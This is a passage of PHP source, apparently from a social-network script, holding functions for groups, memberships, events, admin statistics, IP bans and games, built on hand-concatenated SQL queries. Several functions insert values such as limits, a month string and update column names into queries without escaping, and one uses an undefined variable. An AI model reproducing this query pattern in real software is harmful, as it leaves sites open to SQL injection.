    $query      = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_GROUPS . " WHERE `group_name`= '{$group_name}' AND `active` = '1'");
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_GroupIdFromGroupname($group_name = "") {
    global $sqlConnect;
    if (empty($group_name)) {
        return false;
    }
    $group_name = Wo_Secure($group_name);
    $query      = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_GROUPS . " WHERE `group_name` = '{$group_name}'");
    return Wo_Sql_Result($query, 0, "id");
}
function Wo_GroupData($group_id = 0) {
    global $wo, $sqlConnect, $cache;
    if (empty($group_id) || !is_numeric($group_id) || $group_id < 1) {
        return false;
    }
    $data            = array();
    $group_id        = Wo_Secure($group_id);
    $query_one       = "SELECT * FROM " . T_GROUPS . " WHERE `id` = {$group_id}";
    $generateCache  = false;
    if ($wo['config']['cacheSystem'] == 1) {
        $fetched_data = cache($group_id, 'groups', 'read');
        if (empty($fetched_data)) {
            $generateCache = true;
            $sql = mysqli_query($sqlConnect, $query_one);
            if (mysqli_num_rows($sql)) {
                $fetched_data = mysqli_fetch_assoc($sql);
            }
        } else {
            return $fetched_data;
        }
    } else {
        $sql = mysqli_query($sqlConnect, $query_one);
        if (mysqli_num_rows($sql)) {
            $fetched_data = mysqli_fetch_assoc($sql);
        }
    }
    if (empty($fetched_data)) {
        return array();
    }
    $fetched_data["group_id"]           = $fetched_data["id"];
    $fetched_data["avatar_org"]             = $fetched_data["avatar"];
    $fetched_data["avatar"]             = Wo_GetMedia($fetched_data["avatar"]);
    $fetched_data["cover"]              = Wo_GetMedia($fetched_data["cover"]);
    $fetched_data["url"]                = Wo_SeoLink("index.php?link1=timeline&u=" . $fetched_data["group_name"]);
    $fetched_data["name"]               = $fetched_data["group_title"];
    $fetched_data["category_id"]        = $fetched_data["category"];
    $fetched_data["type"]               = "group";
    $fetched_data["username"]           = $fetched_data["group_name"];
    $fetched_data["category"]           = $wo["group_categories"][$fetched_data["category"]];
    $fetched_data["is_reported"]        = Wo_IsReportExists($fetched_data["id"], "group");
    $fetched_data["group_sub_category"] = "";
    if (!empty($fetched_data["sub_category"]) && !empty($wo["group_sub_categories"][$fetched_data["category_id"]])) {
        foreach ($wo["group_sub_categories"][$fetched_data["category_id"]] as $key => $value) {
            if ($value["id"] == $fetched_data["sub_category"]) {
                $fetched_data["group_sub_category"] = $value["lang"];
            }
        }
    }
    $fetched_data["fields"] = array();
    $fields                 = Wo_GetCustomFields("group");
    if (!empty($fields)) {
        foreach ($fields as $key => $field) {
            if (in_array($field["fid"], array_keys($fetched_data))) {
                $fetched_data["fields"][$field["fid"]] = $fetched_data[$field["fid"]];
            }
        }
    }
    if (Wo_IsJoinRequested($fetched_data["group_id"])) {
        $fetched_data["is_group_joined"] = 2;
    } elseif (Wo_IsGroupJoined($fetched_data["group_id"])) {
        $fetched_data["is_group_joined"] = 1;
    } else {
        $fetched_data["is_group_joined"] = 0;
    }
    $fetched_data["members_count"] = Wo_CountGroupMembers($fetched_data["group_id"]);
    if ($generateCache === true) {
        cache($group_id, 'groups', 'write', $fetched_data);
    }
    return $fetched_data;
}
function Wo_GroupActive($group_name) {
    global $sqlConnect;
    if (empty($group_name)) {
        return false;
    }
    $group_name = Wo_Secure($group_name);
    $query      = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_GROUPS . "  WHERE `group_name` = '{$group_name}' AND `active` = '1'");
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_CanBeOnGroup($group_id) {
    global $sqlConnect;
    if (empty($group_id)) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    if (Wo_IsGroupOnwer($group_id)) {
        return true;
    }
    $group = Wo_GroupData($group_id);
    if (empty($group)) {
        return false;
    }
    if ($group["privacy"] == 2) {
        if (Wo_IsGroupJoined($group_id) === true) {
            return true;
        }
    } elseif ($group["privacy"] == 1) {
        return true;
    } else {
        return false;
    }
}
function Wo_GetGroupPostPublisherBox($group_id = 0) {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!is_numeric($group_id) or $group_id < 1 or !is_numeric($group_id)) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $continue = false;
    if (Wo_CanBeOnGroup($group_id) === true) {
        $group = Wo_GroupData($group_id);
        if ($group["privacy"] == 2) {
            if (Wo_IsGroupJoined($group_id) === true) {
                $continue = true;
            }
        } elseif ($group["privacy"] == 1) {
            //if (Wo_IsGroupJoined($group_id) === true) {
            $continue = true;
            //}
        } else {
            $continue = false;
        }
    }
    if ($continue == true) {
        return Wo_LoadPage("story/publisher-box");
    }
}
function Wo_GetJoinButton($group_id = 0) {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id) or $group_id < 0) {
        return false;
    }
    if (Wo_IsGroupOnwer($group_id)) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $group    = $wo["join"] = Wo_GroupData($group_id);
    if (!isset($wo["join"]["id"])) {
        return false;
    }
    $logged_user_id        = Wo_Secure($wo["user"]["user_id"]);
    $join_button           = "buttons/join";
    $leave_button          = "buttons/leave";
    $accept_request_button = "buttons/join-requested";
    if (Wo_IsGroupJoined($group_id, $logged_user_id) === true) {
        return Wo_LoadPage($leave_button);
    } else {
        if (Wo_IsJoinRequested($group_id) === true) {
            return Wo_LoadPage($accept_request_button);
        } else {
            return Wo_LoadPage($join_button);
        }
    }
}
function Wo_GetGoingButton($event_id = 0) {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($event_id) || !is_numeric($event_id) or $event_id < 0) {
        return false;
    }
    if (Is_EventOwner($event_id, false, false)) {
        return false;
    }
    if (eventExpired($event_id)) {
        return false;
    }
    $event_id = Wo_Secure($event_id);
    $event    = $wo["going"] = Wo_EventData($event_id);
    if (!isset($wo["going"]["id"])) {
        return false;
    }
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $going          = "buttons/going";
    $no_going       = "buttons/no-going";
    if (Wo_EventGoingExists($event_id) === true) {
        return Wo_LoadPage($no_going);
    } else {
        return Wo_LoadPage($going);
    }
}
function Wo_GetInterestedButton($event_id = 0) {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($event_id) || !is_numeric($event_id) or $event_id < 0) {
        return false;
    }
    if (Is_EventOwner($event_id, false, false)) {
        return false;
    }
    $event_id = Wo_Secure($event_id);
    $event    = $wo["interested"] = Wo_EventData($event_id);
    if (!isset($wo["interested"]["id"])) {
        return false;
    }
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $interested     = "buttons/interested";
    $no_interested  = "buttons/no-interested";
    if (Wo_EventInterestedExists($event_id) === true) {
        return Wo_LoadPage($no_interested);
    } else {
        return Wo_LoadPage($interested);
    }
}
function Wo_IsGroupJoined($group_id = 0, $user_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id) || $group_id < 0) {
        return false;
    }
    $user_id = Wo_Secure($user_id);
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) {
        $user_id = Wo_Secure($wo["user"]["user_id"]);
    }
    $group_id  = Wo_Secure($group_id);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_GROUP_MEMBERS . " WHERE `user_id` = '{$user_id}' AND `group_id` = {$group_id} AND `active` = '1'");
    return Wo_Sql_Result($query_one, 0) == 1 ? true : false;
}
function Wo_IsJoinRequested($group_id = 0, $user_id = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($user_id);
    if (!isset($user_id) or empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        $user_id = Wo_Secure($wo["user"]["user_id"]);
    }
    if (!is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $group_id  = Wo_Secure($group_id);
    $query     = "SELECT `id` FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} AND `user_id` = {$user_id} AND `active` = '0'";
    $sql_query = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($sql_query) > 0) {
        return true;
    }
}
function Wo_RegisterGroupJoin($group_id = 0, $user_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($group_id) or empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    if (!isset($user_id) or empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $group_id    = Wo_Secure($group_id);
    $user_id     = Wo_Secure($user_id);
    $group_onwer = Wo_GetUserIdFromGroupId($group_id);
    $active      = 1;
    if (Wo_IsGroupJoined($group_id, $user_id) === true) {
        return false;
    }
    $group_data = Wo_GroupData($group_id);
    if ($group_data["join_privacy"] == 2) {
        $active = 0;
    }
    $query = mysqli_query($sqlConnect, " INSERT INTO " . T_GROUP_MEMBERS . " (`user_id`,`group_id`,`active`,`time`) VALUES ({$user_id},{$group_id},'{$active}'," . time() . ")");
    if ($query) {
        cache($group_id, 'groups', 'delete');
        cache($user_id, 'users', 'delete');
        if ($active == 1) {
            $notification_data = array(
                "recipient_id" => $group_onwer,
                "notifier_id" => $user_id,
                "type" => "joined_group",
                "group_id" => $group_id,
                "url" => "index.php?link1=timeline&u=" . $group_data["group_name"]
            );
            Wo_RegisterNotification($notification_data);
        } elseif ($active == 0) {
            $notification_data = array(
                "recipient_id" => $group_onwer,
                "notifier_id" => $user_id,
                "type" => "requested_to_join_group",
                "group_id" => $group_id,
                "url" => "index.php?link1=group-setting&group=" . $group_data["group_name"] . "&link3=requests"
            );
            Wo_RegisterNotification($notification_data);
        }
    }
    return true;
}
function Wo_LeaveGroup($group_id = 0, $user_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($group_id) or empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    if (!isset($user_id) or empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $user_id  = Wo_Secure($user_id);
    $active   = 1;
    if (Wo_IsGroupJoined($group_id, $user_id) === false && Wo_IsJoinRequested($group_id, $user_id) === false) {
        return false;
    }
    $query = mysqli_query($sqlConnect, " DELETE FROM " . T_GROUP_MEMBERS . " WHERE `user_id` = {$user_id} AND `group_id` = '{$group_id}'");
    if ($query) {
        cache($group_id, 'groups', 'delete');
        cache($user_id, 'users', 'delete');
        @mysqli_query($sqlConnect, "DELETE FROM " . T_GROUP_ADMINS . " WHERE `user_id` = {$user_id} AND `group_id` = {$group_id}");
        return true;
    }
}
function Wo_UpdateGroupData($group_id = 0, $update_data = array()) {
    global $wo, $sqlConnect, $cache;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id) || $group_id < 0) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    if (Wo_IsAdmin() === false && Wo_IsModerator() === false) {
        if (Wo_IsGroupOnwer($group_id) === false) {
            return false;
        }
    }
    if (!empty($update_data["category"])) {
        if (!array_key_exists($update_data["category"], $wo["group_categories"])) {
            $update_data["category"] = 1;
        }
    }
    $update = array();
    foreach ($update_data as $field => $data) {
        $update[] = "`" . $field . '` = \'' . Wo_Secure($data, 1) . '\'';
    }
    $impload   = implode(", ", $update);
    $query_one = " UPDATE " . T_GROUPS . " SET {$impload} WHERE `id` = {$group_id} ";
    $query     = mysqli_query($sqlConnect, $query_one);
    cache($group_id, 'groups', 'delete');
    if ($query) {
        return true;
    } else {
        return false;
    }
}
function Wo_GetGroupIdFromPostId($post_id = 0) {
    global $sqlConnect;
    if (empty($post_id) or !is_numeric($post_id) or $post_id < 1) {
        return false;
    }
    $post_id       = Wo_Secure($post_id);
    $query_one     = "SELECT `group_id` FROM " . T_POSTS . " WHERE `id` = {$post_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["group_id"];
    }
    return false;
}
function Wo_GetUserIdFromGroupId($group_id = 0) {
    global $sqlConnect;
    if (empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $group_id      = Wo_Secure($group_id);
    $query_one     = "SELECT `user_id` FROM " . T_GROUPS . " WHERE `id` = {$group_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["user_id"];
    }
    return false;
}
function Wo_DeleteGroup($group_id = 0) {
    global $wo, $sqlConnect, $cache;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id) || $group_id < 1) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    if (Wo_IsAdmin() === false && Wo_IsModerator() === false) {
        if (Wo_IsGroupOnwer($group_id) === false) {
            return false;
        }
    }
    $query_one_delete_photos = mysqli_query($sqlConnect, " SELECT `avatar`,`cover` FROM " . T_GROUPS . " WHERE `id` = {$group_id}");
    if (mysqli_num_rows($query_one_delete_photos)) {
        $fetched_data = mysqli_fetch_assoc($query_one_delete_photos);
        if (isset($fetched_data["avatar"]) && !empty($fetched_data["avatar"]) && $fetched_data["avatar"] != $wo["groupDefaultAvatar"]) {
            @unlink($fetched_data["avatar"]);
        }
        if (isset($fetched_data["cover"]) && !empty($fetched_data["cover"]) && $fetched_data["cover"] != $wo["userDefaultCover"]) {
            @unlink($fetched_data["cover"]);
        }
    }
    $query_two_delete_media = mysqli_query($sqlConnect, " SELECT `postFile` FROM " . T_POSTS . " WHERE `group_id` = {$group_id}");
    if (mysqli_num_rows($query_two_delete_media) > 0) {
        while ($fetched_data = mysqli_fetch_assoc($query_two_delete_media)) {
            if (isset($fetched_data["postFile"]) && !empty($fetched_data["postFile"])) {
                @unlink($fetched_data["postFile"]);
            }
        }
    }
    $query_four_delete_media = mysqli_query($sqlConnect, "SELECT `id`,`post_id` FROM " . T_POSTS . " WHERE `group_id` = {$group_id}");
    if (mysqli_num_rows($query_four_delete_media) > 0) {
        while ($fetched_data = mysqli_fetch_assoc($query_four_delete_media)) {
            $delete_posts = Wo_DeletePost($fetched_data["id"]);
            $delete_posts = Wo_DeletePost($fetched_data["post_id"]);
        }
    }
    if ($wo["config"]["cacheSystem"] == 1) {
        $cache->delete(md5($user_id) . "_GROUP_Data.tmp");
        $query_two = mysqli_query($sqlConnect, "SELECT `id`,`post_id` FROM " . T_POSTS . " WHERE `group_id` = {$group_id}");
        if (mysqli_num_rows($query_two) > 0) {
            while ($fetched_data_two = mysqli_fetch_assoc($query_two)) {
                $cache->delete(md5($fetched_data_two["id"]) . "_GROUP_Data.tmp");
                $cache->delete(md5($fetched_data_two["post_id"]) . "_GROUP_Data.tmp");
            }
        }
    }
    $query_one = mysqli_query($sqlConnect, "DELETE FROM " . T_GROUPS . " WHERE `id` = {$group_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_NOTIFICATION . " WHERE `group_id` = {$group_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_GROUP_ADMINS . " WHERE `group_id` = {$group_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_POSTS . " WHERE `group_id` = {$group_id}");
    cache($group_id, 'groups', 'delete');
    if ($query_one) {
        return true;
    }
}
function Wo_CountGroupMembers($group_id = 0) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $query    = mysqli_query($sqlConnect, "SELECT COUNT(`group_id`) AS count FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} AND `active` = '1' ");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountGroupPosts($group_id = 0) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $query    = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS count FROM " . T_POSTS . " WHERE `group_id` = {$group_id}");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountJoinedThisWeek($group_id = 0) {
    global $wo, $sqlConnect;
    $data = array();
    $time = strtotime("-1 week");
    if (empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $query    = mysqli_query($sqlConnect, "SELECT COUNT(`group_id`) AS count FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} AND `active` = '1' AND (`time` between {$time} AND " . time() . ")");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_GroupSug($limit = 20) {
    global $wo, $sqlConnect;
    if (!is_numeric($limit)) {
        return false;
    }
    $data      = array();
    $user_id   = Wo_Secure($wo["user"]["user_id"]);
    $query_one = " SELECT `id` FROM " . T_GROUPS . " WHERE `active` = '1' AND `id` NOT IN (SELECT `group_id` FROM " . T_GROUP_MEMBERS . " WHERE `user_id` = {$user_id}) AND `user_id` <> {$user_id}";
    if (isset($limit)) {
        $query_one .= " ORDER BY RAND() LIMIT {$limit}";
    }
    $sql = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $data[] = Wo_GroupData($fetched_data["id"]);
        }
    }
    return $data;
}
function Wo_GetGroupMembers($group_id = 0) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $group_id  = Wo_Secure($group_id);
    $query     = " SELECT `user_id` FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} AND `active` = '1'";
    $sql_query = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($sql_query)) {
        while ($fetched_data = mysqli_fetch_assoc($sql_query)) {
            $data[] = Wo_UserData($fetched_data["user_id"]);
        }
    }
    return $data;
}
function Wo_GetUsersGroups($user_id = 0, $limit = 12, $placement = array(), $offset = 0) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $offset_text = "";
    if (!empty($offset) && is_numeric($offset) && $offset > 0) {
        $offset      = Wo_Secure($offset);
        $offset_text = " AND `group_id` > " . $offset;
    }
    $user_id = Wo_Secure($user_id);
    $query   = " SELECT `group_id` FROM " . T_GROUP_MEMBERS . " WHERE `user_id` = {$user_id} AND `active` = '1' {$offset_text} ORDER BY `id` LIMIT {$limit}";
    if (!empty($placement)) {
        if ($placement["in"] == "profile_sidebar" && is_array($placement["groups_data"])) {
            foreach ($placement["groups_data"] as $key => $id) {
                $user_data = Wo_GroupData($id);
                if (!empty($user_data)) {
                    $data[] = $user_data;
                }
            }
            return $data;
        }
    }
    $sql_query = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($sql_query)) {
        while ($fetched_data = mysqli_fetch_assoc($sql_query)) {
            $data[] = Wo_GroupData($fetched_data["group_id"]);
        }
    }
    return $data;
}
function Wo_GetUsersGroupsAPI($user_id, $limit = 0, $offset = 0) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $limit_query = "";
    if (!empty($limit)) {
        $limit       = Wo_Secure($limit);
        $limit_query = " LIMIT $limit";
    }
    $offset_query = "";
    if (!empty($offset)) {
        $offset       = Wo_Secure($offset);
        $offset_query = " AND `group_id` < $offset ";
    }
    $user_id   = Wo_Secure($user_id);
    $query     = " SELECT `group_id` FROM " . T_GROUP_MEMBERS . " WHERE `user_id` = {$user_id} AND `active` = '1' $offset_query  ORDER BY `group_id` DESC  $limit_query";
    $sql_query = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($sql_query)) {
        while ($fetched_data = mysqli_fetch_assoc($sql_query)) {
            $data[] = Wo_GroupData($fetched_data["group_id"]);
        }
    }
    return $data;
}
function Wo_GetGroupSettingMembers($group_id = 0, $limit = 0, $offset = 0) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $limit_query = "";
    if (!empty($limit)) {
        $limit       = Wo_Secure($limit);
        $limit_query = " LIMIT $limit";
    }
    $offset_query = "";
    if (!empty($offset)) {
        $offset       = Wo_Secure($offset);
        $offset_query = " AND `id` > $offset ";
    }
    $group_id  = Wo_Secure($group_id);
    $query     = " SELECT `user_id`,`id` FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} AND `active` = '1' $offset_query $limit_query";
    $sql_query = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($sql_query)) {
        while ($fetched_data = mysqli_fetch_assoc($sql_query)) {
            $user_data              = Wo_UserData($fetched_data["user_id"]);
            $user_data["member_id"] = $fetched_data["id"];
            $data[]                 = $user_data;
        }
    }
    return $data;
}
function Wo_CountUserGroups($user_id) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $user_id = Wo_Secure($user_id);
    $query   = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS count FROM " . T_GROUP_MEMBERS . " WHERE `user_id` = {$user_id} AND `active` = '1' ");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_GetAllGroups($limit = "", $after = "") {
    global $wo, $sqlConnect;
    $data      = array();
    $query_one = " SELECT `id` FROM " . T_GROUPS;
    if (!empty($after) && is_numeric($after) && $after > 0) {
        $query_one .= " WHERE `id` < " . Wo_Secure($after);
    }
    $query_one .= " ORDER BY `id` DESC";
    if (isset($limit) and !empty($limit)) {
        $query_one .= " LIMIT {$limit}";
    }
    $sql = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $group_data            = Wo_GroupData($fetched_data["id"]);
            $group_data["members"] = Wo_CountGroupMembers($fetched_data["id"]);
            $group_data["owner"]   = Wo_UserData($group_data["user_id"]);
            $data[]                = $group_data;
        }
    }
    return $data;
}
function Wo_GetRegisteredDataStatics($month, $type = "user") {
    global $wo, $sqlConnect;
    $year       = date("Y");
    $type_table = T_USERS;
    $type_id    = "user_id";
    if ($type == "user") {
        $type_table = T_USERS;
        $type_id    = "user_id";
    } elseif ($type == "page") {
        $type_table = T_PAGES;
        $type_id    = "page_id";
    } elseif ($type == "group") {
        $type_table = T_GROUPS;
        $type_id    = "id";
    } elseif ($type == "posts") {
        $type_table = T_POSTS;
        $type_id    = "id";
    }
    $type_id   = Wo_Secure($type_id);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT($type_id) as count FROM {$type_table} WHERE `registered` = '{$month}/{$year}'");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountAllData($type) {
    global $wo, $sqlConnect;
    $type_table = T_USERS;
    $type_id    = "user_id";
    if ($type == "user") {
        $type_table = T_USERS;
        $type_id    = "user_id";
    } elseif ($type == "page") {
        $type_table = T_PAGES;
        $type_id    = "page_id";
    } elseif ($type == "group") {
        $type_table = T_GROUPS;
        $type_id    = "id";
    } elseif ($type == "posts") {
        $type_table = T_POSTS;
        $type_id    = "id";
    } elseif ($type == "comments") {
        $type_table = T_COMMENTS;
        $type_id    = "id";
    } elseif ($type == "games") {
        $type_table = T_GAMES;
        $type_id    = "id";
    } elseif ($type == "messages") {
        $type_table = T_MESSAGES;
        $type_id    = "id";
    }
    $type_id   = Wo_Secure($type_id);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT($type_id) as count FROM {$type_table}");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountOnlineData($type = "") {
    global $wo, $sqlConnect;
    $data       = array();
    $type_table = T_USERS;
    $type_id    = Wo_Secure("user_id");
    $time       = time() - 60;
    $query_one  = mysqli_query($sqlConnect, "SELECT COUNT(`{$type_id}`) as count FROM {$type_table} WHERE `lastseen` > {$time}");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_GetAllOnlineData() {
    global $wo, $sqlConnect;
    $data       = array();
    $type_table = T_USERS;
    $type_id    = Wo_Secure("user_id");
    $time       = time() - 60;
    $query_one  = mysqli_query($sqlConnect, "SELECT `user_id` FROM {$type_table} WHERE `lastseen` > {$time}");
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $data[] = Wo_UserData($fetched_data["user_id"]);
        }
    }
    return $data;
}
function Wo_GetAllProUsers() {
    global $wo, $sqlConnect;
    $data       = array();
    $type_table = T_USERS;
    $type_id    = Wo_Secure("user_id");
    $query_one  = mysqli_query($sqlConnect, "SELECT `user_id` FROM {$type_table} WHERE `is_pro` = '1' ORDER BY `pro_time` ASC");
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $data[] = Wo_UserData($fetched_data["user_id"]);
        }
    }
    return $data;
}
function Wo_GetBanned($type = "", $userType = 1) {
    global $sqlConnect;
    $data  = array();
    $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_BANNED_IPS . " ORDER BY id DESC");
    if (mysqli_num_rows($query)) {
        if ($type == "user") {
            while ($fetched_data = mysqli_fetch_assoc($query)) {
                if (filter_var($fetched_data["ip_address"], FILTER_VALIDATE_IP)) {
                    $data[] = $fetched_data["ip_address"];
                }
            }
        } else {
            while ($fetched_data = mysqli_fetch_assoc($query)) {
                $data[] = $fetched_data;
            }
        }
    }
    return $data;
}
function Wo_IsBanned($value = "") {
    global $sqlConnect;
    $value     = Wo_Secure($value);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM " . T_BANNED_IPS . " WHERE `ip_address` = '{$value}'");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        if ($fetched_data["count"] > 0) {
            return true;
        }
    }
    return false;
}
function Wo_BanNewIp($ip, $reason = "") {
    global $sqlConnect;
    $ip        = Wo_Secure($ip);
    $reason    = Wo_Secure($reason);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM " . T_BANNED_IPS . " WHERE `ip_address` = '{$ip}'");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        if ($fetched_data["count"] > 0) {
            return false;
        }
    }
    $time      = time();
    $query_two = mysqli_query($sqlConnect, "INSERT INTO " . T_BANNED_IPS . " (`ip_address`,`reason`,`time`) VALUES ('{$ip}','{$reason}','{$time}')");
    if ($query_two) {
        return true;
    }
}
function Wo_IsIpBanned($id) {
    global $sqlConnect;
    $id        = Wo_Secure($id);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM " . T_BANNED_IPS . " WHERE `id` = '{$id}'");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        if ($fetched_data["count"] > 0) {
            return true;
        } else {
            return false;
        }
    }
    return false;
}
function Wo_DeleteBanned($id) {
    global $sqlConnect;
    $id = Wo_Secure($id);
    if (Wo_IsIpBanned($id) === false) {
        return false;
    }
    $query_two = mysqli_query($sqlConnect, "DELETE FROM " . T_BANNED_IPS . " WHERE `id` = {$id}");
    if ($query_two) {
        return true;
    }
}
function Wo_GameExists($id) {
    global $sqlConnect;
    if (empty($id)) {
        return false;
    }
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_GAMES . " WHERE `id` = '{$id}'");
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_GameData($game_id) {
    global $wo, $sqlConnect, $cache;
    if (empty($game_id) || !is_numeric($game_id) || $game_id < 1) {
        return false;
    }
    $data           = array();
    $game_id        = Wo_Secure($game_id);
    $query_one      = "SELECT * FROM " . T_GAMES . " WHERE `id` = {$game_id}";
    $hashed_game_id = md5($game_id);
    if ($wo["config"]["cacheSystem"] == 1) {
        $fetched_data = $cache->read($hashed_game_id . "_GAME_Data.tmp");
        if (empty($fetched_data)) {
            $sql = mysqli_query($sqlConnect, $query_one);
            if (mysqli_num_rows($sql)) {
                $fetched_data = mysqli_fetch_assoc($sql);
                $cache->write($hashed_game_id . "_GAME_Data.tmp", $fetched_data);
            }
        }
    } else {
        $sql = mysqli_query($sqlConnect, $query_one);
        if (mysqli_num_rows($sql)) {
            $fetched_data = mysqli_fetch_assoc($sql);
        }
    }
    if (empty($fetched_data)) {
        return array();
    }
    $fetched_data["game_avatar"] = Wo_GetMedia($fetched_data["game_avatar"]);
    $fetched_data["url"]         = Wo_SeoLink("index.php?link1=game&id=" . $fetched_data["id"]);
    $fetched_data["name"]        = $fetched_data["game_name"];
    $fetched_data["last_play"]   = Wo_LastPlay($fetched_data["id"]);
    return $fetched_data;
}
